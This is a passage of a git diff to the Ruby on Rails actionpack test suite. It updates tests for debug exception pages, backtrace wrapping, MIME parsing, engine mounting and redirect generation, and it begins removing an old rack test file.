         'action' => 'show',
@@ -209,24 +241,47 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
     assert_match(/RuntimeError\n\s+in FeaturedTileController/, body)
   end
 
+  test "show formatted params" do
+    @app = DevelopmentApp
+
+    params = {
+      'id' => 'unknown',
+      'someparam' => {
+        'foo' => 'bar',
+        'abc' => 'goo'
+      }
+    }
+
+    get("/runtime_error", headers: {
+      'action_dispatch.show_exceptions' => true,
+      'action_dispatch.request.parameters' => {
+        'action' => 'show',
+        'controller' => 'featured_tile'
+      }.merge(params)
+    })
+    assert_response 500
+
+    assert_includes(body, CGI.escapeHTML(PP.pp(params, "", 200)))
+  end
+
   test "sets the HTTP charset parameter" do
     @app = DevelopmentApp
 
-    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true }
     assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
   end
 
   test 'uses logger from env' do
     @app = DevelopmentApp
     output = StringIO.new
-    get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output)}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output) }
     assert_match(/puke/, output.rewind && output.read)
   end
 
   test 'uses backtrace cleaner from env' do
     @app = DevelopmentApp
     cleaner = stub(:clean => ['passed backtrace cleaner'])
-    get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner }
     assert_match(/passed backtrace cleaner/, body)
   end
 
@@ -239,7 +294,80 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
            'action_dispatch.logger' => Logger.new(output),
            'action_dispatch.backtrace_cleaner' => backtrace_cleaner}
 
-    get "/", {}, env
+    get "/", headers: env
     assert_operator((output.rewind && output.read).lines.count, :>, 10)
   end
+
+  test 'display backtrace when error type is SyntaxError' do
+    @app = DevelopmentApp
+
+    get '/original_syntax_error', headers: { 'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new }
+
+    assert_response 500
+    assert_select '#Application-Trace' do
+      assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+    end
+  end
+
+  test 'display backtrace on template missing errors' do
+    @app = DevelopmentApp
+
+    get "/missing_template"
+
+    assert_select "header h1", /Template is missing/
+
+    assert_select "#container h2", /^Missing template/
+
+    assert_select '#Application-Trace'
+    assert_select '#Framework-Trace'
+    assert_select '#Full-Trace'
+
+    assert_select 'h2', /Request/
+  end
+
+  test 'display backtrace when error type is SyntaxError wrapped by ActionView::Template::Error' do
+    @app = DevelopmentApp
+
+    get '/syntax_error_into_view', headers: { 'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new }
+
+    assert_response 500
+    assert_select '#Application-Trace' do
+      assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+    end
+  end
+
+  test 'debug exceptions app shows user code that caused the error in source view' do
+    @app = DevelopmentApp
+    Rails.stubs(:root).returns(Pathname.new('.'))
+    cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
+      bc.add_silencer { |line| line =~ /method_that_raises/ }
+      bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} }
+    end
+
+    get '/framework_raises', headers: { 'action_dispatch.backtrace_cleaner' => cleaner }
+
+    # Assert correct error
+    assert_response 500
+    assert_select 'h2', /error in framework/
+
+    # assert source view line is the call to method_that_raises
+    assert_select 'div.source:not(.hidden)' do
+      assert_select 'pre .line.active', /method_that_raises/
+    end
+
+    # assert first source view (hidden) that throws the error
+    assert_select 'div.source:first' do
+      assert_select 'pre .line.active', /raise StandardError\.new/
+    end
+
+    # assert application trace refers to line that calls method_that_raises is first
+    assert_select '#Application-Trace' do
+      assert_select 'pre code a:first', %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call}
+    end
+
+    # assert framework trace that that threw the error is first
+    assert_select '#Framework-Trace' do
+      assert_select 'pre code a:first', /method_that_raises/
+    end
+  end
 end
diff --git a/actionpack/test/dispatch/exception_wrapper_test.rb b/actionpack/test/dispatch/exception_wrapper_test.rb
new file mode 100644
index 0000000000..7a29a7ff97
--- /dev/null
+++ b/actionpack/test/dispatch/exception_wrapper_test.rb
@@ -0,0 +1,114 @@
+require 'abstract_unit'
+
+module ActionDispatch
+  class ExceptionWrapperTest < ActionDispatch::IntegrationTest
+    class TestError < StandardError
+      attr_reader :backtrace
+
+      def initialize(*backtrace)
+        @backtrace = backtrace.flatten
+      end
+    end
+
+    class BadlyDefinedError < StandardError
+      def backtrace
+        nil
+      end
+    end
+
+    setup do
+      Rails.stubs(:root).returns(Pathname.new('.'))
+
+      cleaner = ActiveSupport::BacktraceCleaner.new
+      cleaner.add_silencer { |line| line !~ /^lib/ }
+
+      @environment = { 'action_dispatch.backtrace_cleaner' => cleaner }
+    end
+
+    test '#source_extracts fetches source fragments for every backtrace entry' do
+      exception = TestError.new("lib/file.rb:42:in `index'")
+      wrapper = ExceptionWrapper.new({}, exception)
+
+      wrapper.expects(:source_fragment).with('lib/file.rb', 42).returns('foo')
+
+      assert_equal [ code: 'foo', line_number: 42 ], wrapper.source_extracts
+    end
+
+    test '#source_extracts works with Windows paths' do
+      exc = TestError.new("c:/path/to/rails/app/controller.rb:27:in 'index':")
+
+      wrapper = ExceptionWrapper.new({}, exc)
+      wrapper.expects(:source_fragment).with('c:/path/to/rails/app/controller.rb', 27).returns('nothing')
+
+      assert_equal [ code: 'nothing', line_number: 27 ], wrapper.source_extracts
+    end
+
+    test '#source_extracts works with non standard backtrace' do
+      exc = TestError.new('invalid')
+
+      wrapper = ExceptionWrapper.new({}, exc)
+      wrapper.expects(:source_fragment).with('invalid', 0).returns('nothing')
+
+      assert_equal [ code: 'nothing', line_number: 0 ], wrapper.source_extracts
+    end
+
+    test '#application_trace returns traces only from the application' do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@environment, exception)
+
+      assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace
+    end
+
+    test '#application_trace cannot be nil' do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.application_trace
+      assert_equal [], nil_cleaner_wrapper.application_trace
+    end
+
+    test '#framework_trace returns traces outside the application' do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@environment, exception)
+
+      assert_equal caller, wrapper.framework_trace
+    end
+
+    test '#framework_trace cannot be nil' do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.framework_trace
+      assert_equal [], nil_cleaner_wrapper.framework_trace
+    end
+
+    test '#full_trace returns application and framework traces' do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@environment, exception)
+
+      assert_equal exception.backtrace, wrapper.full_trace
+    end
+
+    test '#full_trace cannot be nil' do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.full_trace
+      assert_equal [], nil_cleaner_wrapper.full_trace
+    end
+
+    test '#traces returns every trace by category enumerated with an index' do
+      exception = TestError.new("lib/file.rb:42:in `index'", "/gems/rack.rb:43:in `index'")
+      wrapper = ExceptionWrapper.new(@environment, exception)
+
+      assert_equal({
+        'Application Trace' => [ id: 0, trace: "lib/file.rb:42:in `index'" ],
+        'Framework Trace' => [ id: 1, trace: "/gems/rack.rb:43:in `index'" ],
+        'Full Trace' => [
+          { id: 0, trace: "lib/file.rb:42:in `index'" },
+          { id: 1, trace: "/gems/rack.rb:43:in `index'" }
+        ]
+      }, wrapper.traces)
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
index 9e37b96951..e2b38c23bc 100644
--- a/actionpack/test/dispatch/header_test.rb
+++ b/actionpack/test/dispatch/header_test.rb
@@ -55,6 +55,8 @@ class HeaderTest < ActiveSupport::TestCase
   test "key?" do
     assert @headers.key?("CONTENT_TYPE")
     assert @headers.include?("CONTENT_TYPE")
+    assert @headers.key?("Content-Type")
+    assert @headers.include?("Content-Type")
   end
 
   test "fetch with block" do
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
index e0cfb73acf..512f3a8a7a 100644
--- a/actionpack/test/dispatch/live_response_test.rb
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -6,6 +6,7 @@ module ActionController
     class ResponseTest < ActiveSupport::TestCase
       def setup
         @response = Live::Response.new
+        @response.request = ActionDispatch::Request.new({}) #yolo
       end
 
       def test_header_merge
@@ -34,6 +35,7 @@ module ActionController
           @response.stream.close
         }
 
+        @response.await_commit
         @response.each do |part|
           assert_equal 'foo', part
           latch.release
@@ -58,21 +60,30 @@ module ActionController
         assert_nil @response.headers['Content-Length']
       end
 
-      def test_headers_cannot_be_written_after_write
+      def test_headers_cannot_be_written_after_webserver_reads
         @response.stream.write 'omg'
+        latch = ActiveSupport::Concurrency::Latch.new
 
+        t = Thread.new {
+          @response.stream.each do |chunk|
+            latch.release
+          end
+        }
+
+        latch.await
         assert @response.headers.frozen?
         e = assert_raises(ActionDispatch::IllegalStateError) do
           @response.headers['Content-Length'] = "zomg"
         end
 
         assert_equal 'header already sent', e.message
+        @response.stream.close
+        t.join
       end
 
       def test_headers_cannot_be_written_after_close
         @response.stream.close
 
-        assert @response.headers.frozen?
         e = assert_raises(ActionDispatch::IllegalStateError) do
           @response.headers['Content-Length'] = "zomg"
         end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
index 58457b0c28..889f9a4736 100644
--- a/actionpack/test/dispatch/mapper_test.rb
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
 module ActionDispatch
   module Routing
     class MapperTest < ActiveSupport::TestCase
-      class FakeSet
+      class FakeSet < ActionDispatch::Routing::RouteSet
         attr_reader :routes
         alias :set :routes
 
@@ -38,7 +38,7 @@ module ActionDispatch
 
       def test_mapping_requirements
         options = { :controller => 'foo', :action => 'bar', :via => :get }
-        m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options
+        m = Mapper::Mapping.build({}, FakeSet.new, '/store/:name(*rest)', nil, options)
         _, _, requirements, _ = m.to_route
         assert_equal(/.+?/, requirements[:rest])
       end
@@ -72,7 +72,7 @@ module ActionDispatch
         mapper = Mapper.new fakeset
         mapper.get '/*path/foo/:bar', :to => 'pages#show'
         assert_equal '/*path/foo/:bar(.:format)', fakeset.conditions.first[:path_info]
-        assert_nil fakeset.requirements.first[:path]
+        assert_equal(/.+?/, fakeset.requirements.first[:path])
       end
 
       def test_map_wildcard_with_multiple_wildcard
@@ -80,7 +80,7 @@ module ActionDispatch
         mapper = Mapper.new fakeset
         mapper.get '/*foo/*bar', :to => 'pages#show'
         assert_equal '/*foo/*bar(.:format)', fakeset.conditions.first[:path_info]
-        assert_nil fakeset.requirements.first[:foo]
+        assert_equal(/.+?/, fakeset.requirements.first[:foo])
         assert_equal(/.+?/, fakeset.requirements.first[:bar])
       end
 
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 8a19129695..3017a9c2d6 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -1,11 +1,9 @@
 require 'abstract_unit'
 
 class MimeTypeTest < ActiveSupport::TestCase
-  Mime::Type.register "image/png", :png unless defined? Mime::PNG
-  Mime::Type.register "application/pdf", :pdf unless defined? Mime::PDF
 
   test "parse single" do
-    Mime::LOOKUP.keys.each do |mime_type|
+    Mime::LOOKUP.each_key do |mime_type|
       unless mime_type == 'image/*'
         assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
       end
@@ -31,21 +29,21 @@ class MimeTypeTest < ActiveSupport::TestCase
 
   test "parse text with trailing star at the beginning" do
     accept = "text/*, text/html, application/json, multipart/form-data"
-    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
 
   test "parse text with trailing star in the end" do
     accept = "text/html, application/json, multipart/form-data, text/*"
-    expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+    expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
 
   test "parse text with trailing star" do
     accept = "text/*"
-    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
@@ -85,7 +83,7 @@ class MimeTypeTest < ActiveSupport::TestCase
   test "parse broken acceptlines" do
     accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
     expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL]
-    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+    assert_equal expect, Mime::Type.parse(accept).collect(&:to_s)
   end
 
   # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0
@@ -93,7 +91,7 @@ class MimeTypeTest < ActiveSupport::TestCase
   test "parse other broken acceptlines" do
     accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,  , pronto/1.00.00, sslvpn/1.00.00.00, */*"
     expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL]
-    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+    assert_equal expect, Mime::Type.parse(accept).collect(&:to_s)
   end
 
   test "custom type" do
@@ -126,7 +124,7 @@ class MimeTypeTest < ActiveSupport::TestCase
       end
 
       Mime::Type.register("text/foo", :foo)
-      assert_equal registered_mimes, [Mime::FOO]
+      assert_equal [Mime::FOO], registered_mimes
     ensure
       Mime::Type.unregister(:FOO)
     end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 30e95a0b75..6a439be2b5 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -1,12 +1,18 @@
 require 'abstract_unit'
+require 'rails/engine'
 
 class TestRoutingMount < ActionDispatch::IntegrationTest
   Router = ActionDispatch::Routing::RouteSet.new
 
-  class FakeEngine
+  class AppWithRoutes < Rails::Engine
     def self.routes
-      Object.new
+      @routes ||= ActionDispatch::Routing::RouteSet.new
     end
+  end
+
+  # Test for mounting apps that respond to routes, but aren't Rails-like apps.
+  class SinatraLikeApp
+    def self.routes; Object.new; end
 
     def self.call(env)
       [200, {"Content-Type" => "text/html"}, ["OK"]]
@@ -21,21 +27,35 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
     mount SprocketsApp, :at => "/sprockets"
     mount SprocketsApp => "/shorthand"
 
-    mount FakeEngine, :at => "/fakeengine", :as => :fake
-    mount FakeEngine, :at => "/getfake", :via => :get
+    mount SinatraLikeApp, :at => "/fakeengine", :as => :fake
+    mount SinatraLikeApp, :at => "/getfake", :via => :get
 
     scope "/its_a" do
       mount SprocketsApp, :at => "/sprocket"
     end
+
+    resources :users do
+      mount AppWithRoutes, :at => "/fakeengine", :as => :fake_mounted_at_resource
+    end
+
+    mount SprocketsApp, :at => "/", :via => :get
   end
 
+  APP = RoutedRackApp.new Router
   def app
-    Router
+    APP
+  end
+
+  def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+    assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+          "A mounted helper should be defined with a parent's prefix"
+    assert Router.named_routes.routes[:user_fake_mounted_at_resource],
+          "A named route should be defined with a parent's prefix"
   end
 
-  def test_trailing_slash_is_not_removed_from_path_info
-    get "/sprockets/omg/"
-    assert_equal "/sprockets -- /omg/", response.body
+  def test_mounting_at_root_path
+    get "/omg"
+    assert_equal " -- /omg", response.body
   end
 
   def test_mounting_sets_script_name
@@ -44,7 +64,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
   end
 
   def test_mounting_works_with_nested_script_name
-    get "/foo/sprockets/omg", {}, 'SCRIPT_NAME' => '/foo', 'PATH_INFO' => '/sprockets/omg'
+    get "/foo/sprockets/omg", headers: { 'SCRIPT_NAME' => '/foo', 'PATH_INFO' => '/sprockets/omg' }
     assert_equal "/foo/sprockets -- /omg", response.body
   end
 
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 113608ecf4..f90d5499d7 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'rack/test'
+require 'rails/engine'
 
 module TestGenerationPrefix
   class Post
@@ -15,64 +16,56 @@ module TestGenerationPrefix
 
       ActiveModel::Name.new(klass)
     end
+
+    def to_model; self; end
+    def persisted?; true; end
   end
 
   class WithMountedEngine < ActionDispatch::IntegrationTest
     include Rack::Test::Methods
 
-    class BlogEngine
-      def self.routes
-        @routes ||= begin
-          routes = ActionDispatch::Routing::RouteSet.new
-          routes.draw do
-            get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
-            get "/posts", :to => "inside_engine_generating#index", :as => :posts
-            get "/url_to_application", :to => "inside_engine_generating#url_to_application"
-            get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
-            get "/conflicting_url", :to => "inside_engine_generating#conflicting"
-            get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
-          end
-
-          routes
-        end
-      end
-
-      def self.call(env)
-        env['action_dispatch.routes'] = routes
-        routes.call(env)
+    class BlogEngine < Rails::Engine
+      routes.draw do
+        get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
+        get "/posts", :to => "inside_engine_generating#index", :as => :posts
+        get "/url_to_application", :to => "inside_engine_generating#url_to_application"
+        get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
+        get "/conflicting_url", :to => "inside_engine_generating#conflicting"
+        get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
+
+        get "/relative_path_root",       :to => redirect("")
+        get "/relative_path_redirect",   :to => redirect("foo")
+        get "/relative_option_root",     :to => redirect(:path => "")
+        get "/relative_option_redirect", :to => redirect(:path => "foo")
+        get "/relative_custom_root",     :to => redirect { |params, request| "" }
+        get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+        get "/absolute_path_root",       :to => redirect("/")
+        get "/absolute_path_redirect",   :to => redirect("/foo")
+        get "/absolute_option_root",     :to => redirect(:path => "/")
+        get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+        get "/absolute_custom_root",     :to => redirect { |params, request| "/" }
+        get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
       end
     end
 
-    class RailsApplication
-      def self.routes
-        @routes ||= begin
-          routes = ActionDispatch::Routing::RouteSet.new
-          routes.draw do
-            scope "/:omg", :omg => "awesome" do
-              mount BlogEngine => "/blog", :as => "blog_engine"
-            end
-            get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
-            get "/generate", :to => "outside_engine_generating#index"
-            get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
-            get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
-            get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
-            get "/conflicting_url", :to => "outside_engine_generating#conflicting"
-            get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
-            root :to => "outside_engine_generating#index"
-          end
-
-          routes
+    class RailsApplication < Rails::Engine
+      routes.draw do
+        scope "/:omg", :omg => "awesome" do
+          mount BlogEngine => "/blog", :as => "blog_engine"
         end
-      end
-
-      def self.call(env)
-        env['action_dispatch.routes'] = routes
-        routes.call(env)
+        get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
+        get "/generate", :to => "outside_engine_generating#index"
+        get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
+        get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
+        get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
+        get "/conflicting_url", :to => "outside_engine_generating#conflicting"
+        get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
+        root :to => "outside_engine_generating#index"
       end
     end
 
     # force draw
-    RailsApplication.routes
     RailsApplication.routes.define_mounted_helper(:main_app)
 
     class ::InsideEngineGeneratingController < ActionController::Base
@@ -144,19 +137,15 @@ module TestGenerationPrefix
     end
 
     def app
-      RailsApplication
-    end
-
-    def engine_object
-      @engine_object ||= EngineObject.new
+      RailsApplication.instance
     end
 
-    def app_object
-      @app_object ||= AppObject.new
-    end
+    attr_reader :engine_object, :app_object
 
     def setup
       RailsApplication.routes.default_url_options = {}
+      @engine_object = EngineObject.new
+      @app_object = AppObject.new
     end
 
     include BlogEngine.routes.mounted_helpers
@@ -182,6 +171,66 @@ module TestGenerationPrefix
       assert_equal "engine", last_response.body
     end
 
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_path_root"
+      verify_redirect "http://example.org/awesome/blog"
+    end
+
+    test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_path_redirect"
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_option_root"
+      verify_redirect "http://example.org/awesome/blog"
+    end
+
+    test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_option_redirect"
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_custom_root"
+      verify_redirect "http://example.org/awesome/blog"
+    end
+
+    test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_custom_redirect"
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_path_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_path_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_option_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_option_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_custom_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_custom_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
     # Inside Application
     test "[APP] generating engine's route includes prefix" do
       get "/generate"
@@ -270,6 +319,17 @@ module TestGenerationPrefix
       path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
       assert_equal "http://www.example.com/awesome/blog/posts/1", path
     end
+    
+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, last_response.status
+        assert_equal url, last_response.headers["Location"]
+        assert_equal expected_redirect_body(url), last_response.body
+      end
+      
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
   end
 
   class EngineMountedAtRoot < ActionDispatch::IntegrationTest
@@ -281,6 +341,20 @@ module TestGenerationPrefix
           routes = ActionDispatch::Routing::RouteSet.new
           routes.draw do
             get "/posts/:id", :to => "posts#show", :as => :post
+
+            get "/relative_path_root",       :to => redirect("")
+            get "/relative_path_redirect",   :to => redirect("foo")
+            get "/relative_option_root",     :to => redirect(:path => "")
+            get "/relative_option_redirect", :to => redirect(:path => "foo")
+            get "/relative_custom_root",     :to => redirect { |params, request| "" }
+            get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+            get "/absolute_path_root",       :to => redirect("/")
+            get "/absolute_path_redirect",   :to => redirect("/foo")
+            get "/absolute_option_root",     :to => redirect(:path => "/")
+            get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+            get "/absolute_custom_root",     :to => redirect { |params, request| "/" }
+            get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
           end
 
           routes
@@ -293,27 +367,12 @@ module TestGenerationPrefix
       end
     end
 
-    class RailsApplication
-      def self.routes
-        @routes ||= begin
-          routes = ActionDispatch::Routing::RouteSet.new
-          routes.draw do
-            mount BlogEngine => "/"
-          end
-
-          routes
-        end
-      end
-
-      def self.call(env)
-        env['action_dispatch.routes'] = routes
-        routes.call(env)
+    class RailsApplication < Rails::Engine
+      routes.draw do
+        mount BlogEngine => "/"
       end
     end
 
-    # force draw
-    RailsApplication.routes
-
     class ::PostsController < ActionController::Base
       include BlogEngine.routes.url_helpers
       include RailsApplication.routes.mounted_helpers
@@ -324,12 +383,83 @@ module TestGenerationPrefix
     end
 
     def app
-      RailsApplication
+      RailsApplication.instance
     end
 
     test "generating path inside engine" do
       get "/posts/1"
       assert_equal "/posts/1", last_response.body
     end
+
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/relative_path_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+      get "/relative_path_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/relative_option_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+      get "/relative_option_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/relative_custom_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+      get "/relative_custom_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_path_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_path_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_option_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_option_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_custom_root"
+      verify_redirect "http://example.org/"
+    end
+
+    test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_custom_redirect"
+      verify_redirect "http://example.org/foo"
+    end
+    
+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, last_response.status
+        assert_equal url, last_response.headers["Location"]
+        assert_equal expected_redirect_body(url), last_response.body
+      end
+      
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
   end
 end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
deleted file mode 100644
index 42067854ee..0000000000
--- a/actionpack/test/dispatch/rack_test.rb
+++ /dev/null
@@ -1,191 +0,0 @@
-require 'abstract_unit'
-
-# TODO: Merge these tests into RequestTest
-
-class BaseRackTest < ActiveSupport::TestCase
-  def setup
-    @env = {
-      "HTTP_MAX_FORWARDS" => "10",
-      "SERVER_NAME" => "glu.ttono.us",
-      "FCGI_ROLE" => "RESPONDER",
-      "AUTH_TYPE" => "Basic",
